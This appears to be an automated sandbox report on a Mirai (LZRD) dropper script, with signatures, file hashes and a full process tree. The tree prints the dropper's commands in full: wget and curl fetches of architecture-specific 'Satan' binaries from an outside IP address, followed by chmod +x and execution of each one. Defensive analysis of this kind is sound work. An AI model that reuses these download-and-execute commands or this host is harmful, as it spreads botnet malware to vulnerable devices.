Analysis

  • max time kernel
    136s
  • max time network
    143s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14-11-2024 00:12

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    c6fded176e564c4f582523ba198be43d

  • SHA1

    e10b19d975f65e398b0a928f5e03b0f83aeadd65

  • SHA256

    eb177007a8b2654ecbbfb91246abae4052bea475b54af2fe2c9e4058ba79ac82

  • SHA512

    e0b9fed97a3b4b035dfdd5b1c3ee36f2571949abbd081dc02fdd24b911cb5ff4aa79036f263be7ca6e388bfb9fdfd41f33f2ab567bd17b5dd164072d82333b96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:708
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:710
    • /usr/bin/wget
      wget http://45.137.70.156/nice/Satan.arc
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://45.137.70.156/nice/Satan.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:731
    • /bin/cat
      cat Satan.arc
      2⤵
        PID:738
      • /bin/chmod
        chmod +x busybox ohshit.sh Satan Satan.arc systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/Satan
        ./Satan
        2⤵
        • Executes dropped EXE
        PID:740
      • /usr/bin/wget
        wget http://45.137.70.156/nice/Satan.x86
        2⤵
        • Writes file to tmp directory
        PID:742
      • /usr/bin/curl
        curl -O http://45.137.70.156/nice/Satan.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:744
      • /bin/cat
        cat Satan.x86
        2⤵
          PID:745
        • /bin/chmod
          chmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          PID:747
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:749
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:750
        • /bin/cat
          cat Satan.x86_64
          2⤵
            PID:751
          • /bin/chmod
            chmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            PID:753
          • /usr/bin/wget
            wget http://45.137.70.156/nice/Satan.i686
            2⤵
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://45.137.70.156/nice/Satan.i686
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/cat
            cat Satan.i686
            2⤵
              PID:757
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
              2⤵
              • File and Directory Permissions Modification
              PID:758
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:759
            • /usr/bin/wget
              wget http://45.137.70.156/nice/Satan.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://45.137.70.156/nice/Satan.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:762
            • /bin/cat
              cat Satan.mips
              2⤵
              • System Network Configuration Discovery
              PID:772
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
              2⤵
              • File and Directory Permissions Modification
              PID:774
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:775
            • /usr/bin/wget
              wget http://45.137.70.156/nice/Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:778
            • /usr/bin/curl
              curl -O http://45.137.70.156/nice/Satan.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:784
            • /bin/cat
              cat Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:792
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:795
            • /usr/bin/wget
              wget http://45.137.70.156/nice/Satan.mpsl
              2⤵
              • Writes file to tmp directory
              PID:797
            • /usr/bin/curl
              curl -O http://45.137.70.156/nice/Satan.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:806
            • /bin/cat
              cat Satan.mpsl
              2⤵
                PID:818
              • /bin/chmod
                chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/Satan
                ./Satan
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:820
              • /usr/bin/wget
                wget http://45.137.70.156/nice/Satan.arm
                2⤵
                • Writes file to tmp directory
                PID:827
              • /usr/bin/curl
                curl -O http://45.137.70.156/nice/Satan.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:833
              • /bin/cat
                cat Satan.arm
                2⤵
                  PID:841
                • /bin/chmod
                  chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:843
                • /tmp/Satan
                  ./Satan
                  2⤵
                  • Executes dropped EXE
                  PID:845
                • /usr/bin/wget
                  wget http://45.137.70.156/nice/Satan.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /usr/bin/curl
                  curl -O http://45.137.70.156/nice/Satan.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:857
                • /bin/cat
                  cat Satan.arm5
                  2⤵
                    PID:864
                  • /bin/chmod
                    chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:866
                  • /tmp/Satan
                    ./Satan
                    2⤵
                    • Executes dropped EXE
                    PID:867
                  • /usr/bin/wget
                    wget http://45.137.70.156/nice/Satan.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:870
                  • /usr/bin/curl
                    curl -O http://45.137.70.156/nice/Satan.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:873
                  • /bin/cat
                    cat Satan.arm6
                    2⤵
                      PID:874
                    • /bin/chmod
                      chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:875
                    • /tmp/Satan
                      ./Satan
                      2⤵
                      • Executes dropped EXE
                      PID:876
                    • /usr/bin/wget
                      wget http://45.137.70.156/nice/Satan.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:878
                    • /usr/bin/curl
                      curl -O http://45.137.70.156/nice/Satan.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:879
                    • /bin/cat
                      cat Satan.arm7
                      2⤵
                        PID:880
                      • /bin/chmod
                        chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:881
                      • /tmp/Satan
                        ./Satan
                        2⤵
                        • Executes dropped EXE
                        PID:882
                      • /usr/bin/wget
                        wget http://45.137.70.156/nice/Satan.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:884
                      • /usr/bin/curl
                        curl -O http://45.137.70.156/nice/Satan.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:885
                      • /bin/cat
                        cat Satan.ppc
                        2⤵
                          PID:886
                        • /bin/chmod
                          chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:887
                        • /tmp/Satan
                          ./Satan
                          2⤵
                          • Executes dropped EXE
                          PID:888
                        • /usr/bin/wget
                          wget http://45.137.70.156/nice/Satan.sparc
                          2⤵
                            PID:890
                          • /usr/bin/curl
                            curl -O http://45.137.70.156/nice/Satan.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:891
                          • /bin/cat
                            cat Satan.sparc
                            2⤵
                              PID:892
                            • /bin/chmod
                              chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:893
                            • /tmp/Satan
                              ./Satan
                              2⤵
                              • Executes dropped EXE
                              PID:894
                            • /usr/bin/wget
                              wget http://45.137.70.156/nice/Satan.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:895
                            • /usr/bin/curl
                              curl -O http://45.137.70.156/nice/Satan.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:896
                            • /bin/cat
                              cat Satan.m68k
                              2⤵
                                PID:897
                              • /bin/chmod
                                chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:898
                              • /tmp/Satan
                                ./Satan
                                2⤵
                                • Executes dropped EXE
                                PID:899
                              • /usr/bin/wget
                                wget http://45.137.70.156/nice/Satan.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:901
                              • /usr/bin/curl
                                curl -O http://45.137.70.156/nice/Satan.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:902
                              • /bin/cat
                                cat Satan.sh4
                                2⤵
                                  PID:903
                                • /bin/chmod
                                  chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:904
                                • /tmp/Satan
                                  ./Satan
                                  2⤵
                                  • Executes dropped EXE
                                  PID:905

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • /tmp/Satan

                                Filesize

                                37KB

                                MD5

                                82509bfc921627d6e784bae29a9ba61f

                                SHA1

                                aeadcb2cdf407a6018c8cbdb82b7d9b385f12be6

                                SHA256

                                72e5f68a809d396480993cde5c6802a046394f2e7a92320533e34de2142fa92f

                                SHA512

                                ea43e1a867b233cb4e9b338f410b494461712b66ffb11ab1c170cf7d3f7724d6e9cd71d73934b33d2e66364f40b4e5375cf06c0bf3dc40f246da72a7388aee37

                              • /tmp/Satan

                                Filesize

                                36KB

                                MD5

                                a36d6912cada96cf8d7d1b4ac81d5ed4

                                SHA1

                                021a174c6fab933f38a5d644d971e42f05c445f6

                                SHA256

                                2f7cd7e67e418f444df3cb977ca175d82150d9042fc99df1fc454e2f6212338f

                                SHA512

                                dab6d68cb17c4b17049f672f23ca57f238af7a7df28d61b8650efbf13839fd14c03032712f7ffa94da5456eda82a2e8006b8f7e01cda1ce17f057fa8542153d4

                              • /tmp/Satan

                                Filesize

                                37KB

                                MD5

                                a0f30582410121013dcefbd9dd77e202

                                SHA1

                                6bdaf023301546dc697c10bf642491f58b3323da

                                SHA256

                                49b23a5a004a963df243807e75a4cb3450c9242377b4eb2f2dfe274a80542dd8

                                SHA512

                                84cb36a6478f8656bbd2af41d849fb80fc3f484da7c12b79ec3fcdf765ba8ea47cecc31bbc62a190797e7c547e29626a97c1f7028a2278ac2eb3f4eacfec261c

                              • /tmp/Satan

                                Filesize

                                43KB

                                MD5

                                fc8fa00d2bab0e54a11de49a7336b374

                                SHA1

                                9aa455a4b31ee6bf3e1818c2d6f735f12e7d48df

                                SHA256

                                5a4708cbd285f67c685f1e2490fad2b2613b304e0ef493c134236a1df7c38b8a

                                SHA512

                                d1cb3c771e7ea6f8ad2fb800a9d4e852045a750a0e143aeb1073990cde7ed9395c472555fb51767c245373125277420f0836fcac03a49d9b82c3b68dcdde7d65

                              • /tmp/Satan

                                Filesize

                                95KB

                                MD5

                                2371b5e3624b90ac86ba4a0228f0e1d8

                                SHA1

                                88eaa697ce1953c96d1f44ec54327decb6539ed0

                                SHA256

                                7d87ba2ca57ad1d4cfb3dc2ef6d3a878b60c8f2e9240e5580a29967ab245eada

                                SHA512

                                69b9c02c070c92fab4e416436c1a25905d1c78153c945abe4a7a9cc6b1d2d95c9332bc6ec9cc82f08f4dd9ab9bb6d9e0eb34cf9128b1599404d1d7fd67d764aa

                              • /tmp/Satan.arc

                                Filesize

                                113KB

                                MD5

                                6ccd2cf611113610ca7e9e6efafc43f0

                                SHA1

                                34d4a63a943b083fa733f57740643ce63d9f08c7

                                SHA256

                                1c18b60204b6deea529a26f9532b4978eb6241dc45e9a3c0a02b4c69f4544ac4

                                SHA512

                                c7439fc476482efcfeb7755331db01be3e4600eb543e495d08944492e67e8d8ed259c8b5dfa58b68b5f21e0b4b87c873b334a5dd128f8be5ae42a1a5fecef608

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8